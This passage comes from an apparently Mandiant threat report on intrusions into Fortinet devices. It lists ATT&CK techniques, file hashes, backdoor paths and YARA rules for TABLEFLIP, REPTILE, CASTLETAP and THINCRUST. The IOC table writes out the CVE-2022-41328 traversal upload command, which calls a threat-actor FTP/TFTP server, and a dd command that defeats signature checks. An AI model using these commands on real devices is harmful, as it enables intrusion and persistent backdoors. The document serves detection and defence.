  •    T1033:        System Owner/User Discovery
  •    T1057:        Process Discovery
  •    T1082:        System Information Discovery
  •    T1083:        File and Directory Discovery
  •    T1087:        Account Discovery
  •    T1518:        Software Discovery

 Collection

  •    T1074.001:    Local Data Staging
  •    T1560:        Archive Collected Data
  •    T1560.001:    Archive via Utility

Execution

  •    T1059:        Command and Scripting Interpreter
  •    T1059.001:    PowerShell
  •    T1059.003:    Windows Command Shell
  •    T1059.004:    Unix Shell
  •    T1059.006:    Python
  •    T1129:        Shared Modules

Command and Control

  •    T1095:        Non-Application Layer Protocol
  •    T1102.001:    Dead Drop Resolver
  •    T1105:        Ingress Tool Transfer
  •    T1571:        Non-Standard Port
  •    T1573.001:    Symmetric Cryptography

Lateral Movement

  •    T1021.004:    SSH

Indicators of Compromise

Type

Values

Description

FortiGate Command

execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>

 

Attempted execution of this command or similar commands containing directory traversal are indicative of attempted exploitation of CVE-2022-41328 to upload a file to a normally restricted directory

FortiGate Command

execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server>

Attempted execution of this command or similar commands containing directory traversal are indicative of attempted exploitation of CVE-2022-41328 to upload a file to a normally restricted directory

Filename

/bin/fgfm

CASTLETAP Sample found on a FortiGate device

Symlinked File

/bin/lspci -> /bin/sysctl

lspci should be a standalone binary within FortiGate devices. A symlink suggests that a modification was made to the file system

URI

/p/util/show_device_info

An API call which created by the threat actor which acted as a persistent backdoor on FortiManager devices

URI

/p/utils/fortigate_syslog_send

An API call which created by the threat actor which acted as a persistent backdoor on FortiAnalyzer devices

Python Function

get_device_info

A malicious python function added to /usr/local/lib/python3.8/proj/util/views.py on FortiAnalyzer and FortiManager devices which provided threat actors with a persistent backdoor

Filename

/bin/support

Threat actor script which launches /bin/auth (TABLEFLIP) and /bin/klogd (REPTILE) and deletes the two files along with /bin/support from disk

Filename

/bin/auth

TABLEFLIP Sample - A passive utility to setup traffic redirection from a specific IP address destined to the FortiManager on TCP541 to another specified port.

Filename

/bin/klogd

REPTILE - A backdoor utility that listens for a specialized packet for activation

Config Change

printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null

Config change made to /etc/init.d/localnet on FortiAnalyzer and FortiManager devices to revert a binary after it was modified to bypass digital signature verification of system files

MD5

9ce2459168cf4b5af494776a70e0feda

Threat actor script which launches /bin/auth (TABLEFLIP) and /bin/klogd (REPTILE) and deletes the two files along with /bin/support from disk

MD5

b6e92149efaf78e9ce7552297505b9d5

TABLEFLIP sample

MD5

53a69adac914808eced2bf8155a7512d

REPTILE variant  sample

MD5

a388ebaef45add5da503e4bf2b9da546

Modified /bin/smit

MD5

88711ebc99e1390f1ce2f42a6de0654d

Localnet sample

MD5

e2d2884869f48f40b32fb27cc3bdefff

CASTLETAP sample

MD5

53a69adac914808eced2bf8155a7512d

REPTILE variant sample

MD5

64bdf7a631bc76b01b985f1d46b35ea6

THINCRUST sample

MD5

a86a8fe875a89816e5808588154a067e

THINCRUST sample

MD5

3e43511c4f7f551290292394c4e21de7

Related to THINCRUST

SHA186f3623b3fb8d5303b6c9d8295292a5c2ceb2889Localnet sample

SHA1

75c092098e3409d366a46fdde6a92ff97d29cee1

Smit sample

SHA1

9dca7f1af5752bb007e5cc55acd2511f03049ee5

TABLEFLIP sample

SHA1

8c40fc87fa3b25a559585b10a8ca11c81fb09f75

CASTLETAP sample

SHA1

3109b890901499f7ebb90f8870a7d1617d27e7c9

REPTILE variant sample

SHA1

b8bdaa1bd204a6c710875b0c4265655d1fd37d52

/bin/support sample

SHA1

1a077212735617a665a6b631e34a6aedcbc41713

THINCRUST sample

SHA1

d5f8436e9815358e33b8243abda76c9b398943e2

THINCRUST sample

SHA1

8ef5159944d048fe84e51a818c9b11ebcfa98517

Related to THINCRUST

SHA256

245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad

Localnet sample

SHA256

9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44

Smit sample

SHA256

18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5

TABLEFLIP sample

SHA256

a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a

CASTLETAP sample

SHA256

eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b

REPTILE variant sample

SHA256

33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d

/bin/support sample

SHA256

abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004

THINCRUST sample

SHA256

2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017

THINCRUST sample

SHA256

4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d

Related to THINCRUST

YARA Rules

rule M_Hunting_Util_TABLEFLIP_1

{

meta:

    author = "Mandiant"

    description = "Looks for TABLEFLIP Binary"

    md5 = "b6e92149efaf78e9ce7552297505b9d5"

strings:

    $z1 = "%1$s.*%2$d" fullword

    $x1 = "/proc/self/exe" fullword

    $x2 = "socket" fullword

    $x3 = "127." fullword

    $x4 = "iptables -t nat" fullword

    $s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT --to-port %2$d"

    $s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING"

condition:

    uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or any of ($s*) )

}

 

rule M_Hunting_Backdoor_REPTILE_1

{

    meta:

        author = "Mandiant"

        description = "Looks for ELF backdoor REPTILE variant"

        md5 = "53a69adac914808eced2bf8155a7512d"

    strings:

        $x1 = ";7(Zu9YTsA7qQ#vw"

        $x2 = "mznCvqSBo"

        $x3 = "hpaVAj2FJ"

        $x4 = "%d.%d.%d.%d"

        $x5 = "HISTFILE="

        $x6 = "TERM"

        $x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara

    condition:

        uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB

}

rule M_Hunting_Backdoor_CASTLETAP_1

{

    meta:

        author = "Mandiant"

        description = "Finds strings observed in CASTLETOP ELF binary"

        md5 = "e2d2884869f48f40b32fb27cc3bdefff"

   

    strings:

        $x1 = ";7(Zu9YTsA7qQ#vw"

        $x2 = "qWWlC0v6yYh2yxu"

        $x3 = "1qaz@WSXa"

        $x4 = "hpaVAj2FJ"

        $x5 = "%d.%d.%d.%d"

        $x6 = "HISTFILE="

        $x7 = "TERM"

        $x8 = "/tmp/busybox"

        $x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }

   

    condition:

        uint16(18) == 183 and

        uint16(16) == 0x02 and

        uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB

}

 

rule M_Hunting_Backdoor_CASTLETAP_2

{

    meta:

        author = "Mandiant"

        description = "Finds byte pattern related to XOR decode function"

        md5 = "e2d2884869f48f40b32fb27cc3bdefff"

   

    strings:

        $x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }

   

    condition:

        uint16(18) == 183 and

        uint16(16) == 0x02 and

        uint32(0) == 0x464c457f and any of them and filesize < 15MB        

}